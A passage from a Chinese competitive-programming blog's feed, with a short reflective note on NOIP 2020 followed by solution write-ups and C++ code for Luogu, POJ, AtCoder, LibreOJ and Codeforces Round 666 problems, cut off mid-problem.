&lt;p&gt;测了其他几个民间数据，大概在 $[70,90] + [94,100] + 0 + [25,30] = [200,216]$&lt;/p&gt;
&lt;p&gt;接下来就看 CCF 数据怎么搞了呢&lt;/p&gt;
&lt;h2&gt;4 Day +4&lt;/h2&gt;
&lt;p&gt;CCF 数据和成绩都出来了&lt;/p&gt;
&lt;p&gt;这两天回去上了两天课，说实话挺浑浑噩噩的，每天就是上课听懂的听，听不懂的就看教科书&lt;/p&gt;
&lt;p&gt;又一届选手退役了。当我又一次躺在仓库的床上时，思绪又一次飘到这次 NOIP 前每天在这里规划明天的任务，又一次飘到 2019 届省队培训一起熬夜打 CF，又一次飘到 NOIP 2018 时在机房热热闹闹的声音中缓缓睡去。&lt;/p&gt;
&lt;p&gt;我没有 StudyingFather 的努力，也没有 15owzLy1 的敏锐，甚至没有 Hearthewind 的理性。&lt;/p&gt;
&lt;p&gt;我不过是空有一腔热血罢了，但就是这腔热血，就足够让我继续向前了。&lt;/p&gt;
&lt;p&gt;那么，向前吧！&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#Oi #祝福&lt;/p&gt;
&lt;p&gt;「新しい明日へ 行くよ 朝着崭新的明天出发吧 喜びも絶望も超えて 急ぐその先へ 跨越喜悦与绝望 急切朝未来前进 ただ「知りたい」から 我只是“想要知道” 出会い 学び 選ぶ道で 綴る 一次次的邂逅 学习 抉择的路上 私だけの物語 誰も見たことのない 在谁都未曾见过的那一页 编写着 その1ページを 只属于自己的故事」 - &lt;a href=&quot;https://mzh.moegirl.org.cn/%E7%81%B0%E8%89%B2%E5%8F%B2%E8%AF%97&quot;&gt;灰色史诗 - moegirl&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;那么，向前吧！&lt;/p&gt;
&lt;p&gt;NOIP 2020 RP++！&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><author>woshiluo</author></item><item><title>Luogu P4616 [COCI2017-2018#5] Pictionary</title><link>https://blog.woshiluo.com/posts/2020/10/luogu-p4616-coci2017-20185-pictionary/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/10/luogu-p4616-coci2017-20185-pictionary/</guid><pubDate>Mon, 12 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1 题意&lt;/h2&gt;
&lt;p&gt;在第 $i$ 天，如果 $\gcd(a,b) = m - i + 1$，那么 $a,b$ 之间会建立一条边&lt;/p&gt;
&lt;p&gt;给定 $a,b$，求 $a,b$ 最早什么时候&lt;strong&gt;连通&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;多组询问，离线&lt;/p&gt;
&lt;p&gt;$1 \leq n ,q \leq 10^5, 1 \leq m \leq n, 1 \leq a, b \leq n$&lt;/p&gt;
&lt;p&gt;$n,m,q,a,b \in \mathbb{Z}$&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 思路&lt;/h2&gt;
&lt;p&gt;首先，对于 $\gcd(a,b) = i$，当且仅当 $a = ci,b = di, \gcd( c, d ) = 1$&lt;/p&gt;
&lt;p&gt;而对于 $\gcd( i, ki ) ( k \in \mathbb{N}^{*} )$ 显然等于 $i$&lt;/p&gt;
&lt;p&gt;所以当第 $i$ 天时，所有 $m - i + 1$ 的倍数（包括其本身）都可以连通&lt;/p&gt;
&lt;p&gt;容易发现，如果只有单次询问，只需要并查集顺序维护即可&lt;/p&gt;
&lt;p&gt;由于 $O(\sum^n_{i=1} \frac{n}{i}) = O(n \log n)$，所以程序是不会超时的&lt;/p&gt;
&lt;p&gt;但是对于多组询问，直接使用这个方法就不行了&lt;/p&gt;
&lt;p&gt;考虑并查集等同于从 $i$ 开始给每个&lt;strong&gt;没有连通&lt;/strong&gt;的 $i$ 的倍数建边&lt;/p&gt;
&lt;p&gt;（这里的没有连通指 $i$ 到 $i$ 的倍数不在同一集合内）&lt;/p&gt;
&lt;p&gt;那么可以按照这个思路建出来一棵树，将每条边的边权设为连接时的 $i$&lt;/p&gt;
&lt;p&gt;那么对于询问 $a,b$，只需要求两者最短路径中的瓶颈即可（即最小值）&lt;/p&gt;
&lt;p&gt;这就是个求 lca 的操作，随便什么板子都能做&lt;/p&gt;
&lt;h2&gt;3 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

const int INF = 0x3f3f3f3f;
const int N = 2e5 + 1e4;
const int K = 25;

int n, m, q;
int fa[N][K], min[N][K], dep[N];

// Set Start
struct Set {
    int fa[N];
    Set(int n) {
        for( int i = 0; i &amp;lt;= n; i ++ ) {
            fa[i] = i;
        }
    }
    int&amp;amp; get_fa( int cur ) {
        if( fa[cur] == cur )
            return fa[cur];
        int &amp;amp;p = get_fa( fa[cur] );
        fa[cur] = p;
        return p;
    }
    inline int&amp;amp; operator[] ( int index ) {
        return this -&amp;gt; get_fa(index);
    }
};
// Set End

// Edge Start
struct edge {
    int to, val, next;
} e[ N &amp;lt;&amp;lt; 1 ];
int ecnt, ehead[N];
inline void add_edge( int cur, int to, int val ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].val = val;
    e[ecnt].next = ehead[cur];
    ehead[cur] = ecnt;
}
// Edge End

void dfs( int cur, int la ) {
    for( int k = 1; k &amp;lt; K; k ++ ) {
        if( fa[ fa[cur][ k - 1 ] ][ k - 1 ] == 0 )
            continue;
        fa[cur][k] = fa[ fa[cur][ k - 1 ] ][ k - 1 ];
        min[cur][k] = std::min( min[cur][k], std::min( min[cur][ k - 1 ], min[ fa[cur][ k - 1 ] ][ k - 1 ] ) );
    }
    for( int i = ehead[cur]; i; i = e[i].next ) {
        int to = e[i].to;
        if( to == fa[cur][0] )
            continue;
        fa[to][0] = cur;
        min[to][0] = e[i].val;
        dep[to] = dep[cur] + 1;
        dfs( to, cur );
    }
}

int query( int from, int to ) {
    int res = INF;
    if( dep[from] &amp;lt; dep[to] )
        std::swap( from, to );
    for( int k = K - 1; k &amp;gt;= 0; k -- ) {
        if( dep[ fa[from][k] ] &amp;gt;= dep[to] ) {
            res = std::min( res, min[from][k] );
            from = fa[from][k];
        }
    }
    if( from == to )
        return res;
    for( int k = K - 1; k &amp;gt;= 0; k -- ) {
        if( fa[from][k] != fa[to][k] ) {
            res = std::min( res, std::min( min[from][k], min[to][k] ) );
            from = fa[from][k];
            to = fa[to][k];
        }
    }
    return std::min( res, std::min( min[from][0], min[to][0] ) );
}

int main() {
#ifdef woshiluo
    freopen( &quot;luogu.4616.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;luogu.4616.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d%d%d&quot;, &amp;amp;n, &amp;amp;m, &amp;amp;q );
    // Init
    Set set(n);
    for( int i = m; i &amp;gt;= 1; i -- ) {
        for( int j = i + i; j &amp;lt;= n; j += i ) {
            //int u = get_fa(i), v = get_fa(j);
            int u = set[i], v = set[j];
            if( u != v ) {
                set[u] = set[v];
                add_edge( i, j, i );
                add_edge( j, i, i );
            }
        }
    }
    // Processing
    memset( min, INF, sizeof(min) );
    // min[1][0] = 0;
    dep[1] = 1;
    dfs( 1, 0 );
    // Answer
    while( q -- ) {
        int u ,v;
        scanf( &quot;%d%d&quot;, &amp;amp;u, &amp;amp;v );
        printf( &quot;%d\n&quot;, m - query( u, v ) + 1 );
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>POJ 3071 Football</title><link>https://blog.woshiluo.com/posts/2020/09/poj-3071-football/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/09/poj-3071-football/</guid><pubDate>Thu, 24 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1 题目大意&lt;/h2&gt;
&lt;p&gt;给定 $2^n$ 个整数，从 $1$ 到 $2^n$ 编号&lt;/p&gt;
&lt;p&gt;给定 $p_{i,j}(1\leq i \leq n, 1 \leq j \leq n)$&lt;/p&gt;
&lt;p&gt;定义一次操作为&lt;/p&gt;
&lt;p&gt;选中 $2k$ 和 $2k+1$ ( $0 \leq k, k \in Z, 2k+1 \leq n$ ) 其中有 $p_{2k,2k+1}$ 的概率选中 $2k$ 其中有 $p_{2k+1,2k}$ 的概率选中 $2k+1$&lt;/p&gt;
&lt;p&gt;把所有选择的数字组成一个新的数列，大小为 $\frac{n}{2}$&lt;/p&gt;
&lt;p&gt;显然最后会只剩 $1$ 个数字&lt;/p&gt;
&lt;p&gt;问剩哪个数字的概率最大&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 思路&lt;/h2&gt;
&lt;p&gt;这东西显然是个满二叉树，大力 dfs，每次分成两半&lt;/p&gt;
&lt;p&gt;每次向上的时候，把两边概率和一下，就没事了&lt;/p&gt;
&lt;h2&gt;3 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

const int N = 1100;

int n;
double p[N][N];
double f[N];

void dfs( int left, int rig ) {
    if( left == rig ) {
        f[left] = 1;
        return ;
    }
    int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
    dfs( left, mid );
    dfs( mid + 1, rig );

    double la[N];
    for( int i = left; i &amp;lt;= rig; i ++  )
        la[i] = f[i];

    for( int i = left; i &amp;lt;= mid; i ++ ) {
        double cur = f[i];
        f[i] = 0;
        for( int j = mid + 1; j &amp;lt;= rig; j ++ ) {
            f[i] += ( cur * la[j] * p[i][j] );
        }
    }
    for( int i = mid + 1; i &amp;lt;= rig; i ++ ) {
        double cur = f[i];
        f[i] = 0;
        for( int j = left; j &amp;lt;= mid; j ++ ) {
            f[i] += ( cur * la[j] * p[i][j] );
        }
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;poj.3071.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;poj.3071.out&quot;, &quot;w&quot;, stdout );
#endif
    while(1) {
        scanf( &quot;%d&quot;, &amp;amp;n );
        if( n == -1 )
            break;
        n = ( 1 &amp;lt;&amp;lt; n );
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            for( int j = 1; j &amp;lt;= n; j ++  ){
                scanf( &quot;%lf&quot; ,&amp;amp;p[i][j] );
            }
        }

        dfs( 1, n );

        int max_id = 0;
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            if( f[i] &amp;gt; f[ max_id ] )
                max_id = i;
        }

        printf( &quot;%d\n&quot;, max_id );
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>AtCoder Regular Contest 084  D Small Multiple</title><link>https://blog.woshiluo.com/posts/2020/09/atcoder-regular-contest-084-d-small-multiple/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/09/atcoder-regular-contest-084-d-small-multiple/</guid><pubDate>Mon, 07 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;题意&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://atcoder.jp/contests/arc084/tasks/arc084_b&quot;&gt;https://atcoder.jp/contests/arc084/tasks/arc084_b&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;要求 $ x = ak(a \in N) $，定义 $f(x)$ 为 $x$ 在十进制下每一位数字的和&lt;/p&gt;
&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;一开始肯定想的是大力枚举，但是很快就可以发现大力枚举可以被卡掉，因为另一个数字可以非常大&lt;/p&gt;
&lt;p&gt;然后就考虑缩小另一个数字的范围&lt;/p&gt;
&lt;p&gt;一开始的思路顺着质因数分解走的，但是想了半天没有想出来&lt;/p&gt;
&lt;p&gt;考后发现顺着质因数的过于复杂，我们可以直接考虑 $x \bmod k$ 意义下的情况&lt;/p&gt;
&lt;p&gt;从 $ x $ 到 $ x + 1 $，答案显然增加 1&lt;/p&gt;
&lt;p&gt;但是如果 x 一直加 1 会加到 10 ，这个情况答案在事实上没有增加 1&lt;/p&gt;
&lt;p&gt;我们可以发现只有其在某一步变成 10 倍才会发生这种事件，那么再加一条边&lt;/p&gt;
&lt;p&gt;从 $x$ 到 $10x$，答案不增加&lt;/p&gt;
&lt;p&gt;这样就构成了一条图，从 $0$ 到 $1$ 的最短路就是所求答案&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;Code&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Submission #16551083: &lt;a href=&quot;https://atcoder.jp/contests/arc084/submissions/16551083&quot;&gt;https://atcoder.jp/contests/arc084/submissions/16551083&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;考虑边权 $\in {0,1}$，所以直接 bfs 即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;queue&amp;gt;

const int N = 1e5 + 1e4;

int k;
bool vis[N];

struct node { int cur, val; };

int main() {
    scanf( &quot;%d&quot;, &amp;amp;k );
    std::deque&amp;lt;node&amp;gt; q;
    q.push_front( (node){ 1, 1 } );
    while( !q.empty() ) {
        node top = q.front(); q.pop_front();
        if( vis[ top.cur ] )
            continue;
        vis[ top.cur ] = true;
        if( top.cur == 0 ) {
            printf( &quot;%d\n&quot;, top.val );
            return  0;
        }
        q.push_front((node){ ( top.cur * 10 ) % k, top.val });
        q.push_back((node){ ( top.cur + 1 ) % k, top.val + 1 });
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>LibreOJ 2789 「CEOI2015 Day2」世界冰球锦标赛</title><link>https://blog.woshiluo.com/posts/2020/09/libreoj-2789-ceoi2015-day2%E4%B8%96%E7%95%8C%E5%86%B0%E7%90%83%E9%94%A6%E6%A0%87%E8%B5%9B/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/09/libreoj-2789-ceoi2015-day2%E4%B8%96%E7%95%8C%E5%86%B0%E7%90%83%E9%94%A6%E6%A0%87%E8%B5%9B/</guid><pubDate>Mon, 07 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;题意&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://loj.ac/problem/2789&quot;&gt;https://loj.ac/problem/2789&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;给定 $m$ 和一个长度为 $n$ 数列 $a$&lt;/p&gt;
&lt;p&gt;一种方案为从 $a$ 中选择 $k (0 \leq k \leq n)$ 个数字出来（在一个方案中，每一位只能选择一次）&lt;/p&gt;
&lt;p&gt;一种合法的方案为选择的所有数字加起来不超过 $m$&lt;/p&gt;
&lt;p&gt;$n \leq 40$&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;一开始是大力搜嘛，毕竟 $2^n$ 也不是很大，还是要有梦想的&lt;/p&gt;
&lt;p&gt;然后就只有 40pts 了，然后就想背包，发现背包也就 70pts，后面那几个 $10^{16}$ 怎么想都不可能背包&lt;/p&gt;
&lt;p&gt;后来发现虽然 $2^{40}$ 会爆炸， $2^{20}$ 并不会&lt;/p&gt;
&lt;p&gt;那就枚举前一半和后一半，然后合并即可&lt;/p&gt;
&lt;p&gt;枚举可以搜索和二进制枚举，但是搜索会快一点（可以剪枝），但是二进制枚举不费脑子，我写的是二进制枚举&lt;/p&gt;
&lt;p&gt;合并可以二分或者直接双指针，双指针又快又不费脑子，我写的是双指针&lt;/p&gt;
&lt;h2&gt;Code&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;提交链接: &lt;a href=&quot;https://loj.ac/submission/926831&quot;&gt;https://loj.ac/submission/926831&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

const int N = 40;
const int BIT = 22;

int n;
long long m, ans;
long long a[N], sum[N];

inline int full_bit( int k ) { return 1 &amp;lt;&amp;lt; k; }
inline int has( int k, int i ) { return ( k &amp;gt;&amp;gt; ( i - 1 ) ) &amp;amp; 1; }

int main() {
    scanf( &quot;%d%lld&quot;, &amp;amp;n, &amp;amp;m );
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        scanf( &quot;%lld&quot;, &amp;amp;a[i] );
    }
    std::sort( a + 1, a + n + 1 );
    int fir_cnt = n / 2; int sec_cnt = ( n / 2 ) + ( n &amp;amp; 1 );
    std::vector&amp;lt;long long&amp;gt; fir, sec;
    for( int k = 0; k &amp;lt; full_bit(fir_cnt); k ++ ) {
        long long res = 0;
        for( int i = 1; i &amp;lt;= fir_cnt; i ++ ) {
            if( has( k, i ) ) {
                res += a[i];
            }
        }
        if( res &amp;lt;= m ) {
            fir.push_back(res);
        }
    }
    for( int k = 0; k &amp;lt; full_bit(sec_cnt); k ++ ) {
        long long res = 0;
        for( int i = 1; i &amp;lt;= sec_cnt; i ++ ) {
            if( has( k, i ) ) {
                res += a[i + fir_cnt];
            }
        }
        if( res &amp;lt;= m ) {
            sec.push_back(res);
        }
    }
    std::sort( fir.begin(), fir.end() );
    std::sort( sec.begin(), sec.end() );
    int fir_size = fir.size(), sec_size = sec.size();
    int p1 = 0, p2 = sec_size - 1;
    long long ans = 0;
    while( p1 &amp;lt; fir_size &amp;amp;&amp;amp; p2 &amp;gt;= 0 ) {
        while( fir[p1] + sec[p2] &amp;gt; m &amp;amp;&amp;amp; p2 &amp;gt;= 0 ) {
            p2 --;
        }
        if( p2 &amp;lt; 0 ) {
            break;
        }
        ans += 1LL * ( p2 + 1 );
        p1 ++;
    }
    printf( &quot;%lld\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces Round #666 (Div. 2) 题目大意 &amp; 解题报告</title><link>https://blog.woshiluo.com/posts/2020/09/codeforces-round-666-div-2-%E9%A2%98%E7%9B%AE%E5%A4%A7%E6%84%8F-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/09/codeforces-round-666-div-2-%E9%A2%98%E7%9B%AE%E5%A4%A7%E6%84%8F-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</guid><pubDate>Wed, 02 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;即 Codeforces Round 1397 比赛链接: &lt;a href=&quot;https://codeforces.com/contest/1397&quot;&gt;https://codeforces.com/contest/1397&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;A Juggling Letters&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给你 $n$ 个字符串，问能不能打乱成相等的三个字符串&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;因为可以随意打乱，所以统计每个字母个数，只要每个字母的个数模 $n$ 余 $0$ 即可&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/08/30 22:37:13
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

int T;
int n;
char a[1100];
int sum[200];

int main() {
        scanf( &quot;%d&quot;, &amp;amp;T );
        while( T -- ) {
                memset( sum, 0, sizeof(sum) );
                scanf( &quot;%d&quot;, &amp;amp;n );
                for( int i = 1; i &amp;lt;= n; i ++ ) {
                        scanf( &quot;%s&quot;, a );
                        int len = strlen(a);
                        for( int i = 0; i &amp;lt; len; i ++ ) {
                                sum[ a[i] ] ++;
                        }
                }
                bool flag = true;
                for( int i = &apos;a&apos;; i &amp;lt;= &apos;z&apos;; i ++ ) {
                        if( sum[i] % n != 0 ) {
                                flag = false;
                        }
                }
                printf( &quot;%s\n&quot;, flag? &quot;YES&quot;: &quot;NO&quot; );
        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;B Power Sequence&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定 $a$ 序列，可以随便打乱&lt;/p&gt;
&lt;p&gt;每次可以花费一代价，将某个数字 $+1$ 或 $-1$&lt;/p&gt;
&lt;p&gt;问最少多少代价，可以把使得 $a$ 序列满足 $a_i=c^i$&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;当时 FST 了&lt;/p&gt;
&lt;p&gt;思路上是对的，小部分跑暴力，大部分的可以直接当 $c=1$&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/08/30 22:43:38
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;class T&amp;gt;
T aabs( T a ) { return a &amp;lt; 0? -a: a; }

const int N = 1e5 + 1e4;

int n;
long long a[N];

int main() {
#ifdef woshiluo
        freopen( &quot;b.in&quot;, &quot;r&quot;, stdin );
        freopen( &quot;b.out&quot;, &quot;w&quot;, stdout );
#endif
        scanf( &quot;%d&quot;, &amp;amp;n );
        for( int i = 1; i &amp;lt;= n; i ++ ) {
                scanf( &quot;%lld&quot;, &amp;amp;a[i] );
        }
        bool flag = true;
        const long long MAX = 1e18;
        long long ans = (long long)(1e18);
        std::sort( a + 1, a + n + 1 );

        for( int c = 1; c &amp;lt;= 100000; c ++ ) {
                long long tmp = 1, res = 0;
                for( int i = 1; i &amp;lt;= n; i ++ ) {
                        if( tmp &amp;gt;= MAX ) {
                                flag = false;
                                break;
                        }
                        res += aabs( tmp - a[i] );
                        tmp *= 1LL * c;
                }
                if( flag ) {
                        ans = Min( ans, res );
                }
        }
        printf( &quot;%lld\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;C Multiples of Length&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定一个序列，允许你做三次操作，使得序列全部变成 $0$&lt;/p&gt;
&lt;p&gt;每次操作选择一段长度为 $k$ 的序列，将其中每一个可以增加 $k*a(a \in Z 且 a \in [-10^{18},10^{18}])$&lt;/p&gt;
&lt;p&gt;输出任意方案&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;$ax + by = \gcd(a,b)$ 显然是有解的&lt;/p&gt;
&lt;p&gt;也就是只要我们令 $\gcd(a,b) = 1$ 也就是 $a,b$ 互质，对于任意 $ax + by = c (a,b,c \in Z)$ 都可以有解&lt;/p&gt;
&lt;p&gt;那简单， $(1, n)$ 和 $(n, n - 1)$ 显然是互质的嘛&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/08/30 23:21:14
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

const int N = 1e5 + 1e4;

long long n;
long long a[N];
long long fir[N], sec[N];

long long ex_gcd(long long a, long long b, long long&amp;amp; x, long long&amp;amp; y) {
        if (b == 0) {
                x = 1;
                y = 0;
                return a;
        }
        long long d = ex_gcd(b, a % b, x, y);
        long long temp = x;
        x = y;
        y = temp - a / b * y;
        return d;
}

int main() {
        scanf( &quot;%lld&quot;, &amp;amp;n );
        for( int i = 1; i &amp;lt;= n; i ++ ) {
                scanf( &quot;%lld&quot;, &amp;amp;a[i] );
        }
        long long t1 = 0, t2 = 0;
        ex_gcd( n, 1, t1, t2 );
        fir[1] = t1 * a[1];
        sec[1] = t2 * a[1];
        long long b = n - 1;
        for( int i = 2; i &amp;lt;= n; i ++ ) {
                long long t1 = 0, t2 = 0;
                ex_gcd( n, b, t1, t2 );
                fir[i] = t1 * a[i];
                sec[i] = t2 * a[i];
        }
        printf( &quot;%d %lld\n&quot;, 1, n );
        for( int i = 1; i &amp;lt;= n; i ++ ) {
                printf( &quot;%lld &quot;, -fir[i] * n );
        }
        printf( &quot;\n%d %d\n&quot;, 1, 1 );
        printf( &quot;%lld&quot;, -sec[1] );
        if( n == 1 ) {
                printf( &quot;\n1 1\n0&quot; );
                return 0;
        }
        printf( &quot;\n%d %lld\n&quot;, 2, n );
        for( int i = 2; i &amp;lt;= n; i ++ ) {
                printf( &quot;%lld &quot;, -sec[i] * b );
        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;D Stoned Game&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;$n$ 堆石子，$2$ 个人轮流取一个石子，不能取上一个人取得堆子&lt;/p&gt;
&lt;p&gt;第一个无石子可取的人，算输&lt;/p&gt;
&lt;p&gt;若每个人用最优方案，谁能嬴&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;只能取一个石子，所以并不是很博奕论&lt;/p&gt;
&lt;p&gt;所以每个人都取当前的最大的那堆，就行了&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/08/31 00:16:02
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;queue&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

const int N = 110;

int T;
int n;

struct node {
        int id, val;
        bool operator&amp;lt; ( const node &amp;amp;b ) const { return val &amp;lt; b.val; }
};

int main() {
#ifdef woshiluo
        freopen( &quot;d.in&quot;, &quot;r&quot;, stdin );
        freopen( &quot;d.out&quot;, &quot;w&quot;, stdout );
#endif
        scanf( &quot;%d&quot;, &amp;amp;T );
        while( T -- ) {
                std::priority_queue&amp;lt;node&amp;gt; q;
                scanf( &quot;%d&quot;, &amp;amp;n );
                for( int i = 1, tmp; i &amp;lt;= n; i ++ ) {
                        scanf( &quot;%d&quot;, &amp;amp;tmp );
                        q.push((node){ i, tmp });
                }
                int lst = 0;
                bool fir = true;
                while( !q.empty() ) {
                        node top = q.top(); q.pop();
                        if( top.id == lst ) {
                                if( q.empty() )
                                        break;
                                node top2 = q.top(); q.pop();
                                top2.val --; lst = top2.id; fir ^= 1;
                                if( top2.val != 0 )
                                        q.push(top2);
                                q.push(top);
                        }
                        else {
                                top.val --; lst = top.id; fir ^= 1;
                                if( top.val != 0 )
                                        q.push(top);
                        }
                }
                printf( &quot;%s\n&quot;, fir? &quot;HL&quot;: &quot;T&quot; );
        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;E Monster Invaders&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;这题面巨长&lt;/p&gt;
&lt;p&gt;一个游戏，$n$ 关，每关 $n$ 个小怪，$1$ 个 boss&lt;/p&gt;
&lt;p&gt;小怪 1 格血，boss 一个&lt;/p&gt;
&lt;p&gt;三种武器&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;手枪，费用 $r_1$, 对特定人减一格血&lt;/li&gt;
&lt;li&gt;散弹枪，费用 $r_2$，对所有人减一格血&lt;/li&gt;
